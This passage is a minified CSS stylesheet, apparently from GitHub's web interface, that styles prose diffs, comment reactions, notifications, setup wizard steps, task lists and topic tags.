:not(li.moved).removed{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff>.markdown-body :not(.github-user-ins):not(li.moved).removed{text-decoration:line-through}.prose-diff>.markdown-body :not(li.moved).added,.prose-diff>.markdown-body li:not(.moved).added{background:var(--color-success-subtle)}.prose-diff>.markdown-body :not(.github-user-del):not(li.moved).added li:not(.moved):not(.github-user-del).added{text-decoration:none}.prose-diff>.markdown-body li:not(.moved).removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li:not(.moved):not(.github-user-ins).removed{text-decoration:line-through}.prose-diff>.markdown-body .added,.prose-diff>.markdown-body ins+.added,.prose-diff>.markdown-body ins{border-top:0;border-bottom:0}.prose-diff>.markdown-body .added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins+.added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body img.added,.prose-diff>.markdown-body img.removed{border-style:solid;border-width:1px}.prose-diff>.markdown-body ins pre:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins code:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins>div:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body ul>ins,.prose-diff>.markdown-body ul>del{display:block;padding:0}.prose-diff>.markdown-body .added>li,.prose-diff>.markdown-body .removed>li{margin-top:0;margin-bottom:0}span.changed_tag,em.changed_tag,strong.changed_tag,b.changed_tag,i.changed_tag,code.changed_tag{border-bottom:1px dotted var(--color-border-default);border-radius:0}a.added_href,a.changed_href,span.removed_href{border-bottom:1px dotted var(--color-border-default);border-radius:0}.diff-view .file-type-prose .rich-diff{display:none}.diff-view .display-rich-diff .rich-diff{display:block}.diff-view .display-rich-diff .file-diff{display:none}.protip{margin-top:16px;color:var(--color-fg-muted);text-align:center}.protip strong{color:var(--color-fg-default)}.protip code{padding:2px;background-color:var(--color-canvas-subtle);border-radius:6px}.add-reactions-options-item{margin-top:-1px;margin-right:-1px;line-height:29px;border:1px solid transparent}.add-reactions-options-item .emoji{display:inline-block;transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2)}.add-reactions-options-item:hover .emoji,.add-reactions-options-item:focus .emoji{text-decoration:none !important;transform:scale(1.2) !important}.add-reactions-options-item:active{background-color:var(--color-accent-subtle)}.page-responsive .add-reactions-options-item{height:20vw}@media(min-width: 544px){.page-responsive .add-reactions-options-item{height:auto}}.comment-reactions{display:none}.comment-reactions::before{display:table;content:""}.comment-reactions::after{display:table;clear:both;content:""}.comment-reactions .reactions-menu{z-index:100}.page-responsive .comment-reactions{display:none}@media(min-width: 768px){.page-responsive .comment-reactions{display:none}.page-responsive .comment-reactions.has-reactions{display:flex}}.comment-reactions.has-reactions{display:flex}.comment-reactions.has-reactions:not(.social-reactions){border-top:1px solid var(--color-border-default)}.comment-reactions .user-has-reacted{background-color:var(--color-accent-subtle)}.reactions-container .user-has-reacted{background-color:var(--color-accent-subtle)}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}.social-reaction-summary-item+.social-reaction-summary-item{margin-left:8px}.social-reactions .comment-body{margin-left:16px !important}.social-button-emoji{display:inline-block;width:16px;height:16px;font-size:1em !important;line-height:1.25;vertical-align:-1px}.social-reaction-summary-item{height:26px;padding:0 4px !important;margin-right:0;font-size:12px;line-height:26px;background-color:transparent;border:1px solid var(--color-border-default, #d2dff0);border-radius:100px}.social-reaction-summary-item:focus,.social-reaction-summary-item:focus-visible{border-radius:100px !important}.social-reaction-summary-item:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.social-reaction-summary-item:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item.user-has-reacted{background-color:var(--color-accent-subtle);border:1px solid var(--color-accent-emphasis) !important}.social-reaction-summary-item.user-has-reacted:hover{background-color:var(--color-social-reaction-bg-reacted-hover) !important}.social-reaction-summary-item>span{height:24px;padding:0 4px;margin-left:2px}.social-reaction-summary-item:hover{background-color:var(--color-social-reaction-bg-hover)}.reaction-dropdown-button{color:var(--color-fg-muted)}.reaction-dropdown-button:hover{color:var(--color-accent-fg)}.reaction-dropdown-button--inline{width:26px;height:26px}.reaction-dropdown-button--inline:hover{background-color:var(--color-btn-hover-bg) !important;border-color:var(--color-btn-hover-border) !important}.reaction-dropdown-button:disabled{color:var(--color-primer-fg-disabled) !important;pointer-events:none}.reactions-with-gap .comment .comment-reactions{margin-left:16px;border-top:0 !important}.new-reactions-dropdown .dropdown-menu-reactions{width:auto;padding:0 2px}.new-reactions-dropdown .dropdown-menu-reactions::before,.new-reactions-dropdown .dropdown-menu-reactions::after{background-color:transparent;border:0}.new-reactions-dropdown .dropdown-item-reaction{width:32px;height:32px;padding:4px;margin:4px 2px}.new-reactions-dropdown .dropdown-item-reaction.user-has-reacted{background-color:var(--color-accent-subtle)}.new-reactions-dropdown .dropdown-item-reaction:hover{background-color:var(--color-btn-hover-bg)}.RecentBranches{background-color:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.RecentBranches-item{line-height:28px;color:var(--color-fg-default)}.RecentBranches-item+.RecentBranches-item{border-top:1px solid var(--color-attention-emphasis)}.RecentBranches-item-link{color:var(--color-fg-default)}.RecentBranches-item-link.css-truncate-target{max-width:400px}.render-container{padding:32px;line-height:0;text-align:center;background:var(--color-canvas-subtle);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.render-container .render-viewer{display:block;width:1px;height:1px;border:0}.render-container .octospinner{display:none}.render-container .render-viewer-error,.render-container .render-viewer-fatal,.render-container .render-viewer-invalid,.render-container .render-fullscreen{display:none}.render-container.is-render-automatic .octospinner{display:inline-block}.render-container.is-render-requested .octospinner{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer-error{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer,.render-container.is-render-requested.is-render-failed .render-viewer-fatal,.render-container.is-render-requested.is-render-failed .render-viewer-invalid,.render-container.is-render-requested.is-render-failed .octospinner{display:none}.render-container.is-render-requested.is-render-failed-fatal .render-viewer-fatal{display:inline-block}.render-container.is-render-requested.is-render-failed-fatal .render-viewer,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-error,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-invalid,.render-container.is-render-requested.is-render-failed-fatal .octospinner{display:none}.render-container.is-render-requested.is-render-failed-invalid .render-viewer-invalid{display:inline-block}.render-container.is-render-requested.is-render-failed-invalid .render-viewer,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-error,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-fatal,.render-container.is-render-requested.is-render-failed-invalid .octospinner{display:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed){height:500px;padding:0;background:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer{width:100%;height:100%}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-fullscreen{display:flex}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-error,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-fatal,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .octospinner{display:none}.render-needs-enrichment{margin-bottom:16px}.render-needs-enrichment .render-full-screen{width:100%;height:auto;padding:16px;overflow:auto}.render-needs-enrichment .render-expand{top:2px;right:2px}.render-needs-enrichment .render-full-screen-close{top:0;right:0;padding:4px}.render-needs-enrichment .details{margin-bottom:0}.render-needs-enrichment .render-plaintext-hidden{display:none}.render-needs-enrichment.render-error .js-render-box{display:none !important}.render-notice{padding:16px 16px;font-size:14px;color:var(--color-fg-default);background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.Skeleton{color:rgba(0,0,0,0);background-image:linear-gradient(270deg, rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.1));background-size:400% 100%;animation:skeleton-loading 8s ease-in-out infinite}.Skeleton *{visibility:hidden}.Skeleton--text{-webkit-clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px);clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px)}.is-error .Skeleton{display:none}@keyframes skeleton-loading{0%{background-position:200% 0}100%{background-position:-200% 0}}.authors-2 .AvatarStack{min-width:36px !important}.authors-3 .AvatarStack{min-width:46px !important}[aria-selected=true] .AvatarStack-body,.navigation-focus .AvatarStack-body{background:#f6fbff}.tracked-in-parent-pill{position:relative;cursor:default}.tracked-in-parent-pill-truncated{position:absolute;left:100%;display:none;white-space:nowrap;background:var(--color-canvas-default);border-left-width:0 !important;border-top-left-radius:0 !important;border-bottom-left-radius:0 !important}.tracked-in-parent-pill:hover .tracked-in-parent-pill-truncated{display:block}.wizard-step-item{position:relative;padding:8px 0;margin-left:16px;flex-direction:row}.wizard-step-item::before{position:absolute;top:32px;bottom:0;left:0;display:block;width:2px;height:100%;content:"";background-color:var(--color-border-default)}.wizard-step-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-16px;color:var(--color-fg-default);align-items:center;background-color:var(--color-border-default);border:1px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.wizard-step-body{min-width:0;max-width:100%;color:var(--color-fg-default);flex:auto}.wizard-step-body .wizard-step-buttons{display:none;margin-top:16px;justify-content:flex-end}.wizard-step-container{border:0}.wizard-step-container .wizard-step-content{display:none;width:100%;padding:16px 24px 24px 24px;overflow:visible;font-size:14px}.wizard-step-container.wizard-step-container-icon .wizard-step-content{padding:24px}.wizard-step-header{padding-top:4px;padding-left:8px}.wizard-step-header>.wizard-step-title{min-width:0;margin-bottom:4px;flex:1 1 auto;color:var(--color-fg-muted)}.wizard-step-icon{display:none;height:96px;color:var(--color-accent-fg);background-image:linear-gradient(to right, var(--color-accent-subtle), var(--color-canvas-default));justify-content:center;align-items:center;border-top-left-radius:6px;border-top-right-radius:6px}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-item::before{background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-badge .wizard-step-check{display:block;color:var(--color-fg-on-emphasis)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{top:0;display:block;height:16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{display:none}}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-icon{color:var(--color-success-fg);background-image:linear-gradient(to right, var(--color-success-subtle), var(--color-canvas-default))}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge .wizard-step-check{display:none}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge::before{color:var(--color-fg-on-emphasis);content:attr(data-single-page-wizard-step)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-badge{background-color:var(--color-success-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-item::before{top:42px;height:16px}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle))}.wizard-step[data-single-page-wizard-step-current=true]:not([data-single-page-wizard-last-step=true]) .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-icon{display:flex}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:column}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:row}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:16px;margin-left:-16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:0;margin-left:0}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{background-color:var(--color-border-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{transform:rotate(90deg)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:-12px;right:100%;left:12px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:-10px;left:11px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:11px;left:-8px;transform:rotate(0)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:1px}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-header{display:none}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content-header{margin-bottom:16px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content{display:block}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-buttons{display:flex}.alert-label{color:var(--color-fg-on-emphasis)}.graph-canvas .alert-label--critical{fill:var(--color-danger-emphasis)}.graph-canvas .alert-label--high{fill:var(--color-severe-emphasis)}.graph-canvas .alert-label--moderate{fill:var(--color-attention-emphasis)}.graph-canvas .alert-label--low{fill:var(--color-neutral-emphasis)}.advisory-form{background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default)}.advisory-form .form-control{background-color:var(--color-canvas-default)}.advisory-form .form-actions{background-color:var(--color-canvas-default)}.advisory-form .previewable-comment-form{background-color:var(--color-canvas-default)}.advisory-credit-window-min{min-height:72px}.advisory-credit-window-max{max-height:370px}[data-target="animated-image.originalImage"],[data-target="animated-image.replacedImage"],[data-a11y-animated-images=system] [data-animated-image],[data-a11y-animated-images=disabled] [data-animated-image]{display:none}animated-image[data-catalyst]{display:inline-block}.AnimatedImagePlayer{position:relative;display:inline-block;width:100%}.AnimatedImagePlayer>a:not(.AnimatedImagePlayer-images){display:none}.AnimatedImagePlayer-controls{position:absolute;top:8px;right:8px;z-index:2;display:none;padding:4px;list-style:none;background:var(--color-canvas-default);border-radius:6px;box-shadow:var(--color-overlay-shadow);opacity:1;transition:opacity 80ms linear}.AnimatedImagePlayer-images .AnimatedImagePlayer-animatedImage{cursor:pointer}.AnimatedImagePlayer-button{display:flex;align-items:center;justify-content:center;width:32px;height:32px;cursor:pointer;background-color:var(--color-canvas-default);border:0;border-radius:6px}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer-button:hover{background-color:var(--color-btn-hover-bg);transition:background-color 200ms linear}}.AnimatedImagePlayer-images{display:block;width:100%;padding:0;margin:0;background:none;border:0;outline:none;outline-offset:0}.AnimatedImagePlayer-images:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:0}.AnimatedImagePlayer-button:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.AnimatedImagePlayer-button svg{width:16px;height:16px;pointer-events:none;fill:var(--color-fg-muted)}.AnimatedImagePlayer-button:hover svg{fill:var(--color-fg-default)}.AnimatedImagePlayer-stillImage{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;pointer-events:none}.AnimatedImagePlayer-animatedImage{width:100%;max-width:100%;max-height:100%}.AnimatedImagePlayer.playing .AnimatedImagePlayer-controls{opacity:0;transition-delay:1s}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-animatedImage{opacity:0 !important}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-animatedImage{opacity:1 !important}.AnimatedImagePlayer.playing.player-focused .AnimatedImagePlayer-controls{opacity:1;transition-delay:0ms}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer.playing:hover .AnimatedImagePlayer-controls{opacity:1;transition-delay:0s}}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-stillImage,.AnimatedImagePlayer.enabled.playing .icon-play,.AnimatedImagePlayer .icon-pause{display:none}.AnimatedImagePlayer .icon-play,.AnimatedImagePlayer.enabled.playing .icon-pause,.AnimatedImagePlayer.enabled .AnimatedImagePlayer-stillImage{display:block}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-controls{display:flex}.emoji-tab.UnderlineNav-item{margin-right:4px}.emoji-tab[role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-severe-emphasis)}.emoji-tab[role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.selected-emoji{z-index:100;background-color:var(--color-accent-emphasis)}.emoji-picker-container .emoji-picker-tab g-emoji{margin-right:auto;margin-left:4px}.emoji-tab .emoji-icon{width:auto}.emoji-picker-container{z-index:1;width:395px}.emoji-picker-tab{height:136px;padding-top:8px}.emoji-picker-emoji-width{width:32px;height:28px}.emoji-picker-tab .btn-outline:not(:hover){background-color:transparent}.emoji-picker-list{list-style:none}.notification-shelf{z-index:34}.notification-shelf.is-stuck{z-index:999}@media(max-width: 767px){.notifications-v2 .commit-ref .css-truncate-target{word-break:break-all;white-space:normal}}@media(max-width: 543px){.notifications-v2 .Box{border-right:0;border-left:0;border-radius:0}}@media(max-width: 543px){.notifications-v2 .Box .Box-header{border-right:0 !important;border-left:0 !important;border-radius:0 !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right{width:auto !important;min-width:auto !important;margin-left:53px !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right .AvatarStack-body{position:relative !important;right:unset !important;margin-right:8px;flex-direction:row !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack-body .avatar{position:relative !important;margin-right:-12px !important;margin-left:0 !important;border-right:1px solid #fff !important;border-left:0 !important}}.notifications-v2 .thread-subscription-status{background-color:transparent !important}.notifications-v2 .notification-action-mark-archived,.notifications-v2 .notification-action-mark-unread,.notifications-v2 .notification-action-star,.notifications-v2 .notification-action-unsubscribe{display:block !important}.notifications-v2 .notification-action-mark-read,.notifications-v2 .notification-action-mark-unarchived,.notifications-v2 .notification-action-subscribe,.notifications-v2 .notification-action-unstar,.notifications-v2 .notification-is-starred-icon{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-unsubscribe{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-subscribe{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-read{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-archived,.notifications-v2 .notification-archived .notification-action-mark-read,.notifications-v2 .notification-archived .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-unarchived{display:block !important}.notifications-v2 .notification-starred .notification-action-star{display:none !important}.notifications-v2 .notification-starred .notification-is-starred-icon{display:inline-block !important}.notifications-v2 .notification-starred .notification-action-unstar{display:block !important}.notifications-v2 .thread-subscribe-form{display:none !important}.notifications .read .avatar img{opacity:.5}.notifications .read .undo{display:block}.notifications .read .delete{visibility:hidden}.notifications .read[aria-selected=true],.notifications .read.navigation-focus{background-color:#f5f9fc}.notifications .muted .unmute{display:block}.notifications .muted .mute{display:none}.notifications .unmute{display:none}.notifications-list{float:left;width:100%}.thread-subscription-status{padding:8px;margin:40px 0 16px;color:var(--color-fg-muted);border:1px solid var(--color-border-default);border-radius:6px}.thread-subscription-status .btn-sm>.octicon{margin-right:1px}.thread-subscription-status .reason{display:inline-block;margin:0 8px;vertical-align:middle}.thread-subscription-status .thread-subscribe-form{display:inline-block;vertical-align:middle}.subscription .loading{opacity:.5}.progress-pjax-loader{z-index:99999;height:2px !important;background:transparent;opacity:0;transition:opacity .4s linear .4s}.progress-pjax-loader.is-loading{opacity:1;transition:none}.progress-pjax-loader>.progress-pjax-loader-bar{background-color:#79b8ff;transition:width .4s ease}.starred .starred-button-icon{color:var(--color-scale-yellow-2)}.user-lists-menu-action{color:var(--color-fg-default)}.user-lists-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.user-lists-menu-action:focus:not(:disabled){color:var(--color-fg-default);outline:2px solid var(--color-accent-emphasis);outline-offset:2px}.starring-container .BtnGroup-parent:active{z-index:auto}.shelf{padding-top:16px;margin-bottom:16px;background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-muted)}.shelf .container{position:relative}.org-sso,.business-sso{width:340px;margin:0 auto}.org-sso .sso-title,.business-sso .sso-title{font-size:24px;font-weight:300;letter-spacing:-0.5px}.org-sso .org-sso-panel,.org-sso .business-sso-panel,.business-sso .org-sso-panel,.business-sso .business-sso-panel{padding:16px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.org-sso .sso-recovery-callout,.business-sso .sso-recovery-callout{padding:16px 8px;text-align:center;border:1px solid var(--color-border-muted);border-radius:6px}.sso-modal{padding:16px}.sso-modal .org-sso,.sso-modal .business-sso{width:auto}.sso-modal .org-sso .org-sso-panel,.sso-modal .business-sso .business-sso-panel{border:0}.sso-modal .sso-prompt-success,.sso-modal .sso-prompt-error{display:none}.sso-modal.success .sso-prompt-default{display:none}.sso-modal.success .sso-prompt-success{display:block}.sso-modal.error .sso-prompt-default{display:none}.sso-modal.error .sso-prompt-error{display:block}.sso-modal.error .flash-error{margin-right:-32px;margin-left:-32px;border-right:0;border-left:0;border-radius:0}.tag-input-container{position:relative}.tag-input-container .suggester{position:absolute;z-index:100;width:100%;margin-top:-1px}.tag-input-container ul{list-style:none}.tag-input input{float:left;padding-left:2px;margin:0;background:none;border:0;box-shadow:none}.tag-input input:focus{box-shadow:none}.task-list-item{list-style-type:none}.task-list-item label{font-weight:400}.task-list-item.enabled label{cursor:pointer}.task-list-item+.task-list-item{margin-top:4px}.task-list-item .handle{display:none}.task-list-item-checkbox{margin:0 .2em .25em -1.6em;vertical-align:middle}.contains-task-list:dir(rtl) .task-list-item-checkbox{margin:0 -1.6em .25em .2em}.convert-to-issue-button{top:2px;right:4px;padding:0 2px;margin-right:8px;-webkit-user-select:none;user-select:none;background-color:var(--color-canvas-subtle)}.convert-to-issue-button .octicon{fill:var(--color-fg-default)}.convert-to-issue-button:hover .octicon,.convert-to-issue-button:focus .octicon{fill:var(--color-accent-fg)}.reorderable-task-lists .markdown-body .contains-task-list{padding:0}.reorderable-task-lists .markdown-body li:not(.task-list-item){margin-left:24px}.reorderable-task-lists .markdown-body ol:not(.contains-task-list) li,.reorderable-task-lists .markdown-body ul:not(.contains-task-list) li{margin-left:0}.reorderable-task-lists .markdown-body .task-list-item{padding:2px 15px 2px 42px;margin-right:-15px;margin-left:-15px;line-height:1.5;border:0}.reorderable-task-lists .markdown-body .task-list-item+.task-list-item{margin-top:0}.reorderable-task-lists .markdown-body .task-list-item .handle{display:block;float:left;width:20px;padding:2px 0 0 2px;margin-left:-43px;opacity:0}.reorderable-task-lists .markdown-body .task-list-item .drag-handle{fill:var(--color-fg-default)}.reorderable-task-lists .markdown-body .task-list-item.hovered>.handle{opacity:1}.reorderable-task-lists .markdown-body .task-list-item.is-dragging{opacity:0}.reorderable-task-lists .markdown-body .contains-task-list:dir(rtl) .task-list-item{margin-right:0}.comment-body .reference{font-weight:600;white-space:nowrap}.comment-body .issue-link{white-space:normal}.comment-body .issue-link .issue-shorthand{font-weight:400;color:var(--color-fg-muted)}.comment-body .issue-link:hover .issue-shorthand,.comment-body .issue-link:focus .issue-shorthand{color:var(--color-accent-fg)}.review-comment-contents .markdown-body .task-list-item{padding-left:42px;margin-right:-12px;margin-left:-12px;border-top-left-radius:6px;border-bottom-left-radius:6px}.convert-to-issue-enabled .task-list-item .contains-task-list{padding:4px 15px 0 43px;margin:0 -15px 0 -42px}.convert-to-issue-enabled .task-list-item.hovered{background-color:var(--color-canvas-subtle)}.convert-to-issue-enabled .task-list-item.hovered .contains-task-list{background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button svg{overflow:visible}.convert-to-issue-enabled .task-list-item.is-loading{color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:1px solid var(--color-accent-subtle);border-bottom:1px solid var(--color-canvas-default);border-left:1px solid var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading ul{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading>.handle{opacity:0}.toolbar-commenting .dropdown-menu-s{width:100px}.toolbar-commenting .dropdown-item{font-weight:600;line-height:1em;background:none;border:0}.toolbar-commenting .dropdown-item:hover{color:var(--color-accent-fg)}.toolbar-commenting .dropdown-item:focus{color:var(--color-accent-fg);outline:none}.toolbar-item{display:block;float:left;padding:4px;cursor:pointer}.toolbar-item.dropdown,.toolbar-item.select-menu{padding:0}.toolbar-item .select-menu-modal{margin-top:2px}.toolbar-item .select-menu-item{padding-left:8px}.topic-tag{display:inline-block;padding:.3em .9em;margin:0 .5em .5em 0;white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-link:hover{text-decoration:none;background-color:#def}.delete-topic-button,.delete-topic-link{display:inline-block;width:26px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff;border-top-right-radius:6px;border-bottom-right-radius:6px}.delete-topic-button:hover,.delete-topic-link:hover{background-color:#def}.topic-tag-action:hover .delete-topic-link{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag-outline{background:transparent;box-shadow:inset 0 0 0 1px #c8e1ff}.delete-topic-link{padding-right:8px;padding-left:8px;margin-left:8px;line-height:1.75}.delete-topic-link:hover{text-decoration:none}.invalid-topic .delete-topic-button{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-left-color:var(--color-danger-emphasis)}.invalid-topic .delete-topic-button:hover{background-color:#ffc8ce}.topic-tag-action{display:inline-flex;align-items:center;padding-left:.8em;margin:.4em .4em 0 0;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-action.invalid-topic{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-color:var(--color-danger-emphasis)}.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:inline-block;width:26px;font-size:14px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff}.topic-tag-action .add-topic-button:hover,.topic-tag-action .remove-topic-button:hover{color:var(--color-fg-on-emphasis)}.topic-tag-action .add-topic-button:hover{background-color:var(--color-success-emphasis)}.topic-tag-action .remove-topic-button{border-right:0;border-top-right-radius:6px;border-bottom-right-radius:6px}.topic-tag-action .remove-topic-button:hover{background-color:var(--color-danger-emphasis)}.topic-input-container .tag-input{width:908px;cursor:text}.topic-input-container .tag-input.org-repo-tag-input{width:100%}.topic-input-container .tag-input .tag-input-inner{min-height:26px;background-image:none}.topic-input-container .topic-tag{margin-top:2px}.topic .css-truncate-target{max-width:75%}.topic-list .topic-list-item+.topic-list-item{border-top:1px solid var(--color-border-default)}.topic-box 